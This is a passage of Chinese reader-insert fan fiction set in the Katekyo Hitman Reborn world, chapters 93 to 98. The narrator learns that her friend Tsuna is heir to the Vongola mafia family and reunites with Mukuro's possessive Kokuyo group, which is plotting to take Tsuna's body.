和子明显听懂了城岛犬嘲笑小猫咪,凄厉尖叫一声,刚才还表现乖巧的和子用力抬爪,然后狠狠踩上城岛犬的脸。 “嘶!这蠢猫!!” 城岛犬凶恶扒拉下猫,“想打架吗?!” “嗷嗷——!!” 沢田纲吉震惊看着突然打起来的人和猫,他没忍住看向你和柿本千种,后者面上一派平静:“他们的感情还是一如既往的好啊。” 沢田纲吉:??? 沢田纲吉:!!! 他不敢置信地看着毛都炸起来的猫,和子的嘴里还一直在骂骂咧咧,一看就是气愤到了极点,而且城岛犬居然还真的跟一只猫吵起来了!你们居然管这个叫感情好?那他和吉娃娃是不是即刻可以拜为异父异母的亲兄弟了?! 沢田纲吉不解,他大受震撼。 但是,随之而来的是浓浓的失落感。沢田纲吉敏锐察觉到你们之间有一股谁都插不进入的氛围,自从他来到你家后,这还是第一次,你的注意力完全不在他的身上。 握住玻璃瓶的手忍不住攥紧,沢田纲吉愣楞看你笑容明媚的模样,他见过你无数次笑起来的样子,但像现在这样,你完全放松下来,连眉梢都染着快活甜蜜,沢田纲吉还是第一次见。 ……家人吗? 那他呢,他也可以成为你的家人吗? “滋。” 你打开了西瓜汽水,清凉香甜的西瓜气息带着冒泡的小水珠一下弥漫进空气,听到动静的沢田纲吉下意识抬眼看你。他安静盯着你握住玻璃瓶的手,浅红色的饮料里滋滋不断冒着小气泡,你的手握在上边,宛若抓住了一整个西瓜味的清爽盛夏。 狭小冰凉的瓶口对准你的嘴,沢田纲吉忍不住开始猜测跳跃的汽水会怎样刺激你的味蕾。优越的动态视力让他清晰看到你不小心探出的猩红舌尖。 “咕咚咕咚”,耳边响起你吞咽的声音,沢田纲吉的视线忍不住顺着汽水经过的位置下移,目光触碰到衬衫下若隐若现的锁骨后,他无意识扣弄起汽水瓶上的包装纸,克制着移开视线,沢田纲吉拧开瓶盖,也咕咚咕咚喝起水来。 里包恩默默观察着,慢条斯理喝了口咖啡,他暗叹蠢弟子的不省心。 山本武摆好寿司,其中有一份单独包装的递到了你面前。 “这些都是你喜欢的口味,这次有几个被我改良了口感,你尝尝看。” 语气带着天然的亲昵,山本武细心替你拆好筷子,余光注意到另外两个人,山本武歉意地笑了下,“抱歉抱歉,没想到春也会有这么多人,准备的分量不算多,你们想吃什么,我可以现做。” “啊,差点忘了,刚才还没有自我介绍,我是山本武。”琥珀色的眼睛微弯,山本武的笑容没有丝毫阴霾,“别看我这样,春也可是最喜欢我做的饭了。” 城岛犬的笑容顿住,他不再跟和子玩闹,站直身体,城岛犬居高临下望向坐在沙发上的山本武,柿本千种冷静地推了推眼镜,镜片下,幽深的蓝眼睛像深海一样冷冷盯着山本武。 山本武神色不变,他缓缓弯起嘴角。 “你们不在的时候,都是我和阿纲照顾的春也呢。” 第93章 这绝对是挑衅, 城岛犬和柿本千种不约而同地想,如果不是……哪里还能轮得到这些杂碎插手!但是,抛开心里微妙的妒意, 城岛犬和柿本千种丝毫不担心你的态度。 ——谁让这两个人是黑手党呢。 柿本千种不着痕迹看了安静喝咖啡的里包恩一眼, 他搜集过专门的情报, 而里包恩也没掩饰过自己的目的。 彭格列九代目特意为下一任继承人沢田纲吉委托的家庭教师, 里世界赫赫有名的世界第一杀手。至于旁边的这位…… 柿本千种主要调查的对象是彭格列下任继承人沢田纲吉,这几天他一直和你待在一起, 柿本千种暂时还没开始搜集情报, 也就错过了春也竟然交了朋友的一手消息。 揉了揉眉心,柿本千种开始反思, 最近他确实懈怠了,换做从前,他哪里会等到目标找上门才后知后觉发现问题。 柿本千种站起身,他居高临下注视着面带笑容的山本武,心里默默记下人名和长相, 柿本千种冷静推了推眼镜,嘴角上扬一个像素点, 他语气平静:“不劳你们再操心, 现在,春也有属于她自己的家人。” 柿本千种没说什么过激的话语,但他沉着冷静的态度明目张胆地告诉在场的所有人,他和犬回来了,低劣的伪造品可以退场了。 柿本千种根本无所谓山本武是不是黑手党,只要和彭格列下任继承人待在一起,他不是也是。 城岛犬不屑嗤笑,这点事情也值得他拿出来讲, 过去几年,他们无数次和春也待在一起,他知道春也的无痛症、他和春也知道彼此的过去,他也和春也约定过一起到达未来…… 这些肮脏的黑手党知道吗?哈,他们甚至都不了解春也的本质,也敢妄想和他们争夺珍宝。最重要的是,在这场决定性关系里,春也才是他们的所有者。 城岛犬聪明的举一反三,他漫不经心道:“就不劳你们操心了,哪有让客人做饭的道理,小千会准备一切的。” 说完,城岛犬还扭头看了眼已经准备进厨房的柿本千种:“你说是吗,小千?” 柿本千种眼睛微弯,“你们有什么想吃的吗?” 出于人道主义,最后一顿晚餐,柿本千种会让这两个黑手党吃得心服口服的。 沢田纲吉摇摇头,“我都可以。” 山本武微不可察瞥了你一眼,敛下眸中表情,他一如既往笑道:“简单的菜色就好。” 柿本千种:“那我就随便做点了。” 你安静听着他们的话,不知不觉,你走神了。游移飘忽的视线慢慢聚焦在沢田纲吉身上,直到现在,你其实还是有些难以相信沢田纲吉竟然是黑手党这件事,尤其他还是彭格列第十代继承人。 在犬和千种的科普下,你成功明白了彭格列是怎样一具庞然大物,很长的时间里,彭格列都是黑手党的领头羊。你久违地回想起了艾斯托拉捏欧家族,那还只是一个中小型黑手党家族,仅仅只是一个中小型黑手党家族,他们就敢干些丧心病狂的事情,你难以想象彭格列这样的庞然大物里又会存在多少悲剧。 不是所有人都是你,但所有人又都可以是你。 过去沢田纲吉不知道他是黑手党这件事,那么今后他知道了自己的身份背景,沢田纲吉又会选择怎样一条道路呢,他会想要成为黑手党吗? 原谅你实在难以想象连一条吉娃娃都怕的人会变成杀戮果决的邪恶黑手党,但你又确实想知道沢田纲吉的想法。 如果他真的要成为一名黑手党,那么这些年你对他的帮助,是不是变成了一把回旋刀反刺向了你自己…… 你缓缓从沢田纲吉身上移开视线,转而看向自称是沢田纲吉家庭教师的里包恩。 “里包恩,我记得你刚刚说…你是阿纲的家庭教师,对吗?” 里包恩挑眉,迎着对方肯定的眼神,你慢慢打开了潘多拉魔盒。 第94章 不…不可以说……不可以…… 沢田纲吉心头涌上强烈的危机感, 他连忙开口想要阻止,但还是慢了一拍。 里包恩神色如常:“是哦,我是蠢纲的家庭教师。” 沢田纲吉愣了两秒, 奇怪的危机感来得快去得也快, 扭头对上你的视线, 沢田纲吉立马摆手:“我才不需要什么家庭教师呢。” 你漫不经心移开视线, 慢吞吞喝了口西瓜汽水,气泡在舌尖跳跃, 你状似不经意提问:“里包恩教的是哪个学科?” 你青涩的审问像耀眼的灯泡直勾勾晃着他的眼睛, 里包恩定定看了你几秒,半晌, 他缓缓翘起嘴角:“每个学科我都有涉猎。” 说着,里包恩还故意歪了歪脑袋,像是在对你扮可爱:“春也很好奇吗?” 捧着西瓜汽水的手过于冰凉,你缓缓蜷起手指,指甲无声敲在红色的玻璃壁外, 你低下头安静注视着透明的玻璃瓶,闻言, 你抬起头, 手指试探性往里包恩的方向探去,迎着对方漆黑深邃的大眼睛,你轻轻勾起他的卷鬓角。 “是有点好奇。” 你意味不明地收回手,“毕竟,我还是第一次见到这么小的家庭教师呢。” 里包恩不知为何没有阻止你的动作,他慢条斯理喝了口咖啡,笑容天真可爱:“不要看外表小瞧我哦~” 里包恩睁着那双大黑眼睛直勾勾望向你,你听到他以无辜可爱的姿态轻飘飘开口:“我可是一名优秀的杀手。” 西瓜气泡水还在冒着冷气, 冰凉的温度由玻璃瓶身缓慢传递到你身上,随着时间的流逝,玻璃瓶身渐渐凝结出一颗颗小水珠,你的掌心因为这些水珠变得潮湿,忍下不适,你缓缓抬眼。 你终于正视起眼前这个小婴儿。 “杀手?” 居然不是黑手党吗?还是对他们来说,黑手党和杀手的定义并不会像你这样分得格外清楚。 手指沾着冰凉的水珠,你半敛下眸中神色,真诚道:“那里包恩还真是厉害呢。” 沢田纲吉显然急切多了,他连忙插到你们中间打断危险的对话:“哈哈哈不是啦,里包恩这家伙又在开玩笑了。” 里包恩眨眼:“我可不是会开玩笑的性格。” “里包恩——” 沢田纲吉抱怨地叫了声他的名字,拖长的尾音也不知是在撒娇还是生气。 倒是你看到沢田纲吉这个反应微怔了一秒,“阿纲…是不喜欢杀手这个身份吗?” 沢田纲吉理所当然地吐槽道:“谁会喜欢当杀手啊,我只是一个普普通通的中学生而已啦!” 沢田纲吉一如既往没有改变过,他还是你熟知的那个沢田纲吉。可他对家庭教师的反应又格外奇怪,粗糙拙劣的表演就像是在正大光明告诉你这里有猫腻。 手指无意识攥紧瓶身,莫名的,你忽然有点不想开口询问沢田纲吉有关黑手党的话题了。 你选择起身离开,“我去看看千种的饭有没有做好。” 暂且先逃离这里吧,你不想再看那些拙劣的敷衍。 沢田纲吉愣楞看你突然离开,他茫然注视着你缓慢消失的背影,莫名的,沢田纲吉不想你们之间的距离越来越远,他下意识上前一步想要拉住你,但想起你刚刚的表情,沢田纲吉又硬生生止住了自己的步伐。 晃了晃脑海中荒诞可笑的想法,沢田纲吉喃喃开口:“春也今天心情不好吗?” 城岛犬没有去打扰你,听到沢田纲吉的话,他险些嗤笑出声,漫不经心抛着空瓶子,城岛犬掀起眼皮懒洋洋瞥了眼那簇清艳绝丽的百合花。 “别想太多。” 还没等沢田纲吉放松,城岛犬的下一句话又让他皱起眉头:“说不定是看到你才心情糟糕呢。” 沢田纲吉想也没想地反驳:“不可能。” 望着沢田纲吉自信的样子,城岛犬忽然没了嘲笑的兴趣。 ——他们不会明白的。 城岛犬将玻璃瓶扔进垃圾桶,沉重的响声不轻不重敲击在每个人心上,山本武皱着眉头没有说话。 最终,今天的这顿饭,大家吃得都不够尽兴。 回去之后,沢田纲吉辗转反侧,怎么也睡不着。他的脑海里不自觉回忆起你当时的表情,沢田纲吉下意识开始逐帧复盘。 到底是哪里出了错? “咔嚓。” 子弹上膛, 里包恩冷酷举枪对准沢田纲吉:“再不睡觉的话,就送你去三途川旅行哦。” 沢田纲吉一秒回神,被子高高拉过头顶,他紧闭双眼:“噫!我现在就睡了!!” 只是,那些愁绪烦恼还是留在了他的脑海。 借着微弱的星光,里包恩看了眼鼓成大包的沢田纲吉,想起今天你青涩的试探,里包恩神色晦涩不明,枪支恢复为列恩的模样,他假装无视沢田纲吉的装睡。 看来有什么他不知道的事情发生了。 第二天一早,沢田纲吉差点睡过头,好在有里包恩“亲切温馨”的叫醒服务,沢田纲吉清醒迅速。 嘴里叼着一片面包,沢田纲吉想到昨晚上还没理出思路的事情,他耷拉着脑袋,颓气满满,脚步也不自觉放慢。 里包恩看不惯沢田纲吉没有精神气的模样,他高高跃起,一个飞踢猛然把沢田纲吉踢倒,迎着对方的控诉,里包恩缓缓开口:“那么纠结的话,干脆直接问清楚好了。” 列恩变幻成枪支,里包恩举枪对准沢田纲吉:“抱着必死的决心搞清楚真相吧。” 真实的枪支对准自己,沢田纲吉表情惊恐:“等等里包恩——” “砰!” 子弹出膛的速度远快过他说话的速度,眼睛高光散去,沢田纲吉死掉般仰躺倒地,下一秒,他猛然睁开眼睛,衣服爆裂,只剩一条完好的星星内裤在身上,眼神凶狠的沢田纲吉士气满满:“拼死也要知道春也为什么会心情不好——!!” 残影掠过,里包恩看着沢田纲吉蹬起的尘土,他翘起嘴角跟了上去。 沢田纲吉边跑边呐喊:“春也在哪里!春也在哪里!” 锐利凶狠的眼神扫过每一个过路的人,忽然,沢田纲吉眼睛一亮:“啊!找到了!” “春也——” 天空中飘来一道由小到大的声音,快要走到校门口的你疑惑抬头,下一秒,一道黑点从天而降,扬起的尘土几乎要迷瞎你的眼睛,身体快过大脑,你脱下外套罩在了沢田纲吉的脑袋上。 “春也!请告诉我昨天晚上你为什么心情不好!是我哪里做错了吗?” 该庆幸这个时间点校门口没什么学生路过,沢田纲吉的内裤形态几乎只被你一个人看在眼里,你讶异看着沢田纲吉此刻的模样,这还是他第一次露出这么凶恶可怕的表情,可他说的话又委屈的和他表现出来的凶恶不符。 沢田纲吉丝毫没有在意他的裸奔,他紧紧攥住你的手腕防止你逃离,踩着五分钟的倒计时,沢田纲吉又问了遍他想了一整夜的问题。 你眼睁睁看着沢田纲吉由最开始的凶恶慢慢变为平常的温和乖巧,听清沢田纲吉的问题后,你别过脑袋,“我没有不开心。” “不要骗我,春也。”情绪上头,沢田纲吉抬手掰正你的脑袋,他观察着你的表情,沢田纲吉意外的冷静,“春也,你知道吗,你最不会骗人了。” 沢田纲吉是个很好说话的人,但某些时候,他又会固执得可怕。 像是意识到自己语气的强硬,沢田纲吉无意识放柔声音,他眨了下眼,水汪汪的大眼睛可怜兮兮望着你。 “我能感觉到春也的冷淡,如果是我做错了什么,我可以改,春也不要突然离开我,我会难过的。” 说到最后,沢田纲吉真情实意地难过起来,“明明…明明我们快要成为朋友了,不是吗?” …… 你心软了。 叹了口气,你上前抱住沢田纲吉,“抱歉,是我的问题。” 在里包恩即将到来之前,迟疑了下,你扭头贴近沢田纲吉的耳朵:“阿纲,我问你一个问题,你不要欺骗我,好吗?” 沢田纲吉发誓:“我绝对不会欺骗春也!” “阿纲,你…是黑手党吗?” 第95章 你觉得自己真是坏透了, 怀揣着答案折磨沢田纲吉,也折磨自己。但是,你又真切地想知道阿纲会给你什么答复。 沢田纲吉眼神飘忽了一瞬, 随即, 像是想到什么, 他表情坚定:“我当然不是黑手党!” 什么彭格列, 什么十代目,沢田纲吉根本不想理会那些莫名其妙的事情, 他只是沢田纲吉, 一个普普通通、走路偶尔平地摔、考试成绩在及格线边缘上下浮动的沢田纲吉。 直到今天,沢田纲吉依旧天真地把自己和所谓黑手党的身份分割开来, 现在的他真心不认为自己是黑手党。 他也绝不认可这个突如其来打破他平静生活的身份! 沢田纲吉看着你的眼睛,一字一句认真说道:“我根本就不想当什么黑手党,我也不喜欢那些生活,我就是我,我永远都会是春也认识的那个沢田纲吉。” 沢田纲吉说得太过诚恳真挚, 你情不自禁松开怀抱抬头望他,那双漂亮的暖棕色眼睛仿佛会说话, 你看到初升的旭日冉冉在他眼里升起, 蜜糖色的眼里缓缓流淌着温和不刺眼的金色阳光,沢田纲吉近乎虔诚地用额头轻轻触碰你的手。 “我不知道春也过去经历了什么,也不知道春也想从我这里得到什么样的答案,我从来都不是一个聪明的人,但是春也……” 蜜糖般的眼里流露出一分哀伤,沢田纲吉认真到有些执拗地望着你。 “我想一直一直和春也做朋友。” “所以拜托,不要让我一无所知地离你远去。” 迎着沢田纲吉真挚到哀伤的表情,你可耻地逃避了, 思绪像扰乱的毛线团,你受困其中,怎么都无法从中挣脱。 你习惯性翘课,这一次,你哪里也没去,只是漫无目的地沿着河水流动的方向行走。沢田纲吉是黑手党,这是既定事实,但矛盾的是,你也能从沢田纲吉刚刚吐露的心声里感知到他真实又坚定的想法。 沢田纲吉不认可他黑手党的身份。 …… 随意找了处位置坐下,周围摇曳的芦苇丛很好地隐匿了你的踪迹,你抬手随意折了棵芦苇,思绪慢慢随着飞舞的芦苇飘远,你难得回忆起自己刚来这个世界的经历。 你并不是一个喜欢沉湎于过去痛苦的人,深厚的岁月洗礼下,你以为自己早就淡忘了那段经历,但真正想要回忆时,你惊恐发现,你居然还记得当初那间房屋的布置和墙壁可怖的苍白。 ……你无法真正忘记。 可你也无法把自己所经受的一切痛苦归咎于沢田纲吉,这对他不公平,你想。他一定也很痛苦,平静生活了这么多年,在某天突兀得知了自己黑手党的身份,你不认为沢田纲吉的痛苦会很少。 你又想起千种和你提过一嘴的计划,骸骸想要夺取沢田纲吉的身体以实现消灭黑手党的想法。 真是奇怪,明明你也不是优柔寡断的人,难不成这些年和沢田纲吉的相处让你真正把他放在心上了吗? “也许,是我自己想的太复杂了。”你忍不住自言自语,或许你不该想的太复杂,毕竟,你的立场始终在六道骸这边,你始终坚信,就算沢田纲吉和山本武都奇怪的变成了黑手党,骸骸也绝对不会背叛你的阵营。 “原来你在这里啊。” 一道清越的声音打断了你杂乱的思绪,你没有抬头,很快,你的旁边传来细微的动静,芦苇丛又弯了弯,山本武单手撑着下巴看前方湍急的水流。 “心情不好吗?” “因为里包恩嘴里的那个游戏?” 你疑惑抬头:“游戏?” 山本武弯起眼睛:“是啊,黑手党游戏,里包恩也邀请我了,感觉还挺有意思,我就加入了哈哈哈。” “春也是不喜欢这个游戏吗?” 山本武言语轻快,你不知不觉也放松下来,半是真心,半是开玩笑,你眯起眼睛没有暴露自己眼底的情绪。 “是啊,我最讨厌黑手党游戏了呢。” “不过,没想到山本的想法这么简单直白啊,是我想多了。” 山本武微愣,他忍不住扭头看你。 称呼……变回去了。 “不过……”你起身把手里编制好的小草帽戴到山本武头上,笑着看他戴上迷你草帽后略有些滑稽的模样,你歪了下脑袋,“黑手党游戏…听上去确实很有意思呢。” 如果只是单纯的游戏,那么你想,你也许会喜欢这场盛大的虚拟世界的。 第96章 你很快消失在山本武的视野范围之内, 随意闲逛着,忽然,从你头顶上空冒出一道熟悉的声音。 “找到你想知道的答案了吗?” 茂盛的树顶传来奇怪的杂响, 几片树叶簌簌地落了下来, 你仰起脑袋, 城岛犬从天而降落到你面前。他悄无声息跟了你一路。 城岛犬站定在你面前, 他的脑袋上还顶着几片树叶,整个人像是从草堆里滚出来一样。 你没有回答城岛犬的话, 你先关注的是他出现的地点, “你怎么会在树上?” 你上前摘下他脑袋上的树叶,城岛犬自然低下头, 语气依旧凶巴巴,“哼,我想在哪就在哪了,倒是你,你明明已经听到沢田那家伙欺骗你了吧。” 想起沢田纲吉坚定的眼神, 你慢吞吞说道:“我能感觉出,他没有骗我。” 城岛犬更气了, 他昂着下巴冷笑道:“那你的意思是我和小千骗了你?” 你纳闷城岛犬怎么会得出这种结论, 见他还乖乖低着脑袋,你忍不住捏了捏他的耳朵,“当然不是,我最相信的肯定是犬和千种啦。” “不用多想,我有分寸。” 你能保持理智纯粹是你拥有过上一世的教育,尽管过去那些美好的记忆已经随着你愈发融入这个世界而变得稀薄,但你从未忘记过那种温暖的感受。 城岛犬不满撇嘴:“你可别被那些家伙的表面迷惑了。” 啧,要不是他和千种不在, 哪能让别人趁虚而入。 “嗨嗨,我知道啦。”你漫不经心拖长尾音,真不知道犬和千种他们在担心什么,难道你是那种轻易就能受感动原谅的人吗? 你捂住耳朵从城岛犬身侧跑开:“犬好啰嗦——” 城岛犬差点被你这幅敷衍的样子气笑,他大步一跨就要追上你,“哈?你现在居然嫌我烦了吗?!春也你完蛋了!!本大爷绝对要好好给你一顿教训!” 你脚步没停,扭头朝他挑衅一笑:“等你追到我再来说大话吧,笨蛋犬——” 这下,城岛犬的斗志完全被你激起来了。 虽然城岛犬被复仇者监狱关了很久,但这并不代表他的身体机能和体能有所下降,和你总是懒洋洋歇着的软肉不同,城岛犬身上的每一块肌肉都蕴藏着强大的爆发力,几个跃步,他便快要超过你,走位灵巧地堵住你想往别处逃生的通道,城岛犬目的直白地把你逼近死胡同。 站在你唯一的逃生路口上,城岛犬咧嘴,露出一口白到发光的牙齿,心中微妙的战斗欲被你激起,城岛犬抬手拽住你,吸溜一声,他笑的得意:“抓住你了。” 步入生长期开始,城岛犬的个子就再也没有停止发育过,此刻,他朝你走近,压迫性的身高缓缓逼近你,你置身狭窄的胡同,几乎没有办法立刻脱身。 大脑飞速旋转,你还在思考脱身的方法,下一秒,城岛犬又靠近了你一步,他抬手捏住你的脸颊,然后用力往两边一扯:“春也才是一个——” “超级无敌大白痴!!” 后面半句话是城岛犬发自内心吼出来的,你愣住,几秒过后,反应过来的你恼羞成怒:“哈?犬你才是超级无敌白痴!!” 怎么会有这么幼稚的人啊?!追你半天就为了说你白痴?!! 你“啪”的一下拍开城岛犬的手,城岛犬又笑了,小尖牙在唇间若隐若现,见你扭过身不看他,他歪着脑袋凑到你面前:“生气了?” “我才不会和白痴计较!” 城岛犬罕见地没有生气,他静静看了你半天,等到你抬眼看向他时,城岛犬忽然开口: “就算从前他是一个普通人,但是,从他知道了自己黑手党身份的那一刻起,就已经变了。” “彭格列的继承人死得只剩下这一个了,再加上世界第一杀手里包恩的到来,彭格列第十代的人选已经板上钉钉了,就算他没有这个意愿和想法,也由不得他自己。” “春也,你明白我的意思。” “彭格列不可能让自己偌大的基业毁于第九代。” 而就算沢田纲吉现在是迫于无奈才接受了他不喜欢的身份,可等漫长的里世界黑暗时光浸染他全身,谁又能确保当初那个天真的少年还能保持最初的模样。 ——现实可不是热血少年漫。 “一旦沢田纲吉正式继承彭格列,这具里世界的庞然大物有了史上最年轻的领导者,届时一定又会掀起无数的腥风血雨。” “我们无法确定那样的结局是好还是坏,如果坐以待毙,我们就只能祈祷这位新教父是个善良遵守规则的好人。” “但是,祈祷一个黑手党教父是个好人……” 说着,城岛犬再次被这个说法逗笑了。抓着你的手腕不放,城岛犬认真注视你,金色瞳孔泛着冷静到极致的光。 “现在是最好的时机,彭格列的第九代已经老去,而新生代的继承人尚且稚嫩,里世界的那群鬣狗就算得到消息也不会屈从于这样一位弱小的教父,至于彭格列的盟友……他们的手可还暂时伸不到这里。” “没有再比现在更适合实现我们抱负的时机了,春也。” 沢田纲吉是不是黑手党,从来都不是由他本人决定。就算他能决定,那也得等到很久很久以后,他拥有强大到无人可敌的实力与绝对的话语权……只有做到真实的强大,沢田纲吉才可以真正由他自己决定他本人的命运。 但是,这并不在城岛犬他们的讨论范围之内。谁要关心一个黑手党的命运啊。 城岛犬叽里咕噜说完一长串话后,正歇着一口气呢,转瞬就发现你安静到有些不对劲,他连忙捏住你的下巴抬起,城岛犬左右观察,试图发现问题:“春也?春也!你的脑子还好吗?!该不会一下接收了这么多消息傻掉了吧?” 你长长叹了口气,拍掉城岛犬的手,你突然感觉犬现在就像是家里面上窜下跳担心主人的傻狗,“我没事。” “比起那些,我现在更好奇你的脑子是怎么能想到这么一长窜不太符合你人设的话的。” 你面无表情在心里吐槽:ooc了你知道吗……犬什么时候是思考型的智慧人设了?这不是千种的特长吗? 城岛犬:“啊,你说这个啊,基本都是小柿分析的啦,那家伙最近又开始搞情报了,深入挖掘到了很多有价值的东西呢。” 你恍然大悟:“这下对了。” 听懂你的意思 ,城岛犬立刻炸毛道:“当然了!本大爷也是有过思考和分析的!也不全是千种一个人的功劳!” “嗯嗯,我们犬也是很聪明的。”你溺爱地摸摸他的脑袋,“你说的这些我都明白,我知道该怎么做。” 自你来到这个世界后,你早就没了多余的善心和心软。 所以,在看到沢田纲吉彻底坐实黑手党的场面后,你的内心竟然也没有丝毫波动。 “你就是我要一生追随的十代目!!我会为你清除挡在面前的一切杂碎和垃圾!” 伴着银发碧眼少年激动忠诚的宣誓,你站在不远处的一角,缓缓和沢田纲吉对上了视线,然后毫不留恋地转身离开。 第97章 有什么东西正在悄然无息地发生变化。 沢田纲吉望着很久没有来学校的你的座位, 他失落地垂下眼睛,自上次和你剖析过内心后,沢田纲吉本以为你们之间会恢复如初, 但他唯独没有想到的是, 你自那之后再也没有来上过课了。 他也试着去你家找你, 但古怪的是, 每次去你家都没人在,沢田纲吉忍不住开始担忧你是不是遇到了什么危险。 沢田纲吉烦躁不安地把脑袋埋入书本, 最近也遇到了很多事情, 先是奇怪的转学生对他态度恶劣,然后又认定他是彭格列十代目决定追随他, 接着山本因为棒球的事情决定跳楼,之后他莫名养了两个奇怪的小孩,再后面就是并盛突然开始出现大量的学生受伤事件…… 种种事件像是有预谋般接连不断的发生, 就如同轻飘飘的雪花压在他身上,沢田纲吉莫名有种自己深陷某种漩涡无法自拔的错觉。 沢田纲吉茫然地望向窗外, 在他努力寻找学生受伤背后的凶手时,你在哪里?你有没有受伤? 你现在自然是好的不得了了。 天知道当你看到六道骸水灵灵出现在你面前时, 你脸上究竟是什么表情, 大脑宕机0.01秒后,你立马激动扑了上去。 “骸骸!!” 六道骸被你激动的力道带的往后退了半步,他状似无奈接住你,清瘦的手指不动声色嵌入你腰间的软肉。 “哦呀哦呀,看到我这么激动吗?” 耳边响起熟悉的古怪笑声,你眼睛亮晶晶地仰头看他,过于兴奋激动,你的声音不自觉带着颤音, “我一直在想你骸骸,我从来没想到我们会分别这么久。” 看到骸骸的那一瞬间,什么沢田纲吉,什么黑手党,全都被你抛到脑后,再也没有被骸骸出现更让你快乐的事了,你觉得自己整个人像是吸食了猫薄荷的猫咪一样兴奋,完全控制不住地黏在六道骸身上疯狂蹭蹭。 城岛犬本来也很开心骸大人回归,只不过在瞥见你过分兴奋的表现后,他略微不爽地撇嘴,城岛犬跟柿本千种小声嘀咕:“春也看到我们回来的时候都没这么激动。” 柿本千种垂眸不语,半晌,他才缓缓出声:“毕竟当初春也最先认识的是骸大人。” 更何况,“春也现在是我们的。” 而骸大人也是他们决定要追随一生的对象,他们是最亲密的家人,这是双倍幸福的事情。 柿本千种一直看得很清楚。 偶尔的妒意和不爽只不过是生活的调剂品,柿本千种理智得近乎扭曲。 城岛犬和柿本千种的谈论声小到没能引起你和六道骸的注意,你现在的全副心神都放在六道骸身上。后者神色如常,但动作纵容到过分。 六道骸先是带着你们来到了新的据点——黑曜乐园。 “接下来,我们可以实施计划的第一步。” 六道骸坐在椅子上,他抱着你,指尖轻轻勾起你的发丝缠绕,他漫不经心诉说着自己夺取沢田纲吉身体的全部计划。 你认真倾听着,等到六道骸全部讲完,你听到六道骸一一给城岛犬和柿本千种布置完任务后,你忍不住开口:“那我呢,我需要做什么?” 六道骸低头注视着你,他微妙沉默了下。六道骸当然知道应该放手任你成长,但心里古怪的念头始终让他不曾真正对你放手过,见你目光期待,他缓缓勾起唇角。 “kufufufu…春也只要站在那,就足以让人心智动摇了。” 六道骸承认他卑劣,但他不在意,他只会遵从他心里真实的欲望走下去。 抬手捏住你的手指,六道骸慢条斯理抚摸着你每一节指关节,有他们在,根本不需要你克制厌恶的本能亲手杀人,六道骸轻笑道:“春也只要站在我们这边就好。” “不过,我听犬和千种说,你跟那群黑手党交了朋友?” 闻言,你扭头恶狠狠瞪了犬和千种一眼。 可恶的告状精! 六道骸好笑地看着你这幅反应,他轻轻掐住你的下巴掰正,“kufufu…怎么,春也是对他们产生不同的感情了吗。” “春也心软了?” 六道骸眸色幽深地注视你,千万别让他听到他不想听到的答案,六道骸无法容忍背叛。感情上的背叛也不行。 ——尤其是你。 第98章 六道骸的伪装功底越来越好了, 说这话的时候,他脸上还挂着笑,好似完全不在意你的回答, 除了揽在你腰间的手不动声色收紧, 你看不出他面上半点变化。 “如果我说, 我对他们完全没有感情, 骸骸肯定不会相信吧。” 你不屑于说谎和隐瞒,手指一圈一圈勾起六道骸长长靛青色的发丝, 察觉到他微微下撇的嘴角, 你继续开口:“但是,完全没有心软哦, 我有分寸的骸骸。” 从小学到中学,你得到了沢田纲吉和山本武最真挚的友谊,你不会去否认这段关系,你也喜欢他们全副身心都是你的模样,那种纯真独一无二的情感一度令你感到无比的身心愉悦。 ……可为什么偏偏要是黑手党呢。 而且, 如果你没记错,向沢田纲吉献上忠诚的那个银白发少年…是狱寺。最开始认识他的时候, 你只以为他是个在便利店打工的不普通小孩, 你并不知道他的真实身份。但是现在看来,狱寺隼人的身份完全暴露无疑,只是你蠢,没能猜到。 从回忆里抽离,你忽然发现,几乎所有和你有关联的人或事基本都与黑手党有关,这个该死的异世界该不会是以黑手党为底色的故事吧,那这样糟糕的世界还不如毁灭掉算了。哈, 说不定,故事里还真有一个阴测测的反派隐藏在深处暗戳戳搞些毁灭世界的举动呢,你不无恶意地猜想。 不过显然,六道骸似乎只注意到了你的前半句话,神情晦涩不明,六道骸声调古怪:“哦呀,春也居然还对他们产生了感情……” “kufufu…是什么样的感情呢,真难猜啊。” “哼,那群人对春也家格外熟悉呢,想来不知道去过多少次了吧。”城岛犬冷不丁开口,走过去自然坐在你身旁,他表情不爽,“嘁,居然还说什么不是陌生人,而是春也的好·朋·友!” 你听到城岛犬在好朋友三个字上狠狠咬下重音,对方凶巴巴的表情颇有一种恶犬呲牙的感觉。 柿本千种平静地抬了抬眼镜,视线环顾一周,他已经开始琢磨该给黑曜乐园添置些什么东西了。 “好·朋·友?” 六道骸语调古怪重复了犬的这句话。 城岛犬和柿本千种只是先简单和他说了下大体的事情,至于其他有关你的细枝末节的东西,六道骸暂时还没掌握完全,此刻,从犬的口中得到了这么一段亲密的关系,六道骸终于忍不住阴阳怪气起来。 六道骸:“我倒是忘了,春也也到了这个年纪了呢。” 你茫然抬头,就看到六道骸皮笑肉不笑盯着你。他抬手捏着你的脸,视线扫过你像藤蔓一样舒展开来的身躯,六道骸的脑子里第一次产生你长大了的概念。 “kufufu…春也需要朋友了呢。”眸色幽暗,六道骸意味不明地看你,“现在是朋友,之后是爱人,最后是家人……” 闻言,你还没说话呢,城岛犬第一个跳出来反对:“哈?什么爱人家人的,春也的家人难道不是只有我们吗?!” “至于爱人…爱人什么的……” 爱人两个字像是烫嘴,城岛犬说得磕磕绊绊,最后,他憋了一口气,“有了家人,爱人那种东西根本就无所谓吧,黑手党可不会有忠贞这玩意。” 浸染里世界,城岛犬看过无数情人之间的暗杀和纠纷,十成的黑手党有九成养着情人,无论男女,对于脑袋挂在裤腰带的人来说,忠贞是最不值钱的玩意。 城岛犬虽然没对爱情产生过任何想法,但他厌恶这种会互相背叛的关系。 你不明白话题怎么突然绕到了你未来会有爱人上面,你迟疑片刻,慢吞吞开口道:“我不可能找一个黑手党爱人的。” “而且,这个话题对我来说也太早了。” 你的观念还停留在不能早恋,但异世界可没有早恋这个说法。六道骸觉得自己的猜想很有必要。 柿本千种眼睛微眯,他若有所思盯着你看了几秒,忽然,柿本千种提议道:“爱人这件事很好解决,春也如果有需要,完全可以找我们。” “不管是犬还是我,骸大人也在内,我们都可以。” “有了我们,难道春也还想找别人吗?” 没有谈到这个话题还好,谈到之后,饶是柿本千种,心里也升起了莫名的危机感。好在,他们是没有血缘关系的家人。所以,就算是□□人,也是没有关系的。 柿本千种半蹲在你身旁,他抬手轻轻抚摸着你的头发,柿本千种一脸认真地朝你道歉,“抱歉,没能及时到春也这个需求。” “不会也没有关系,我们都可以学。” 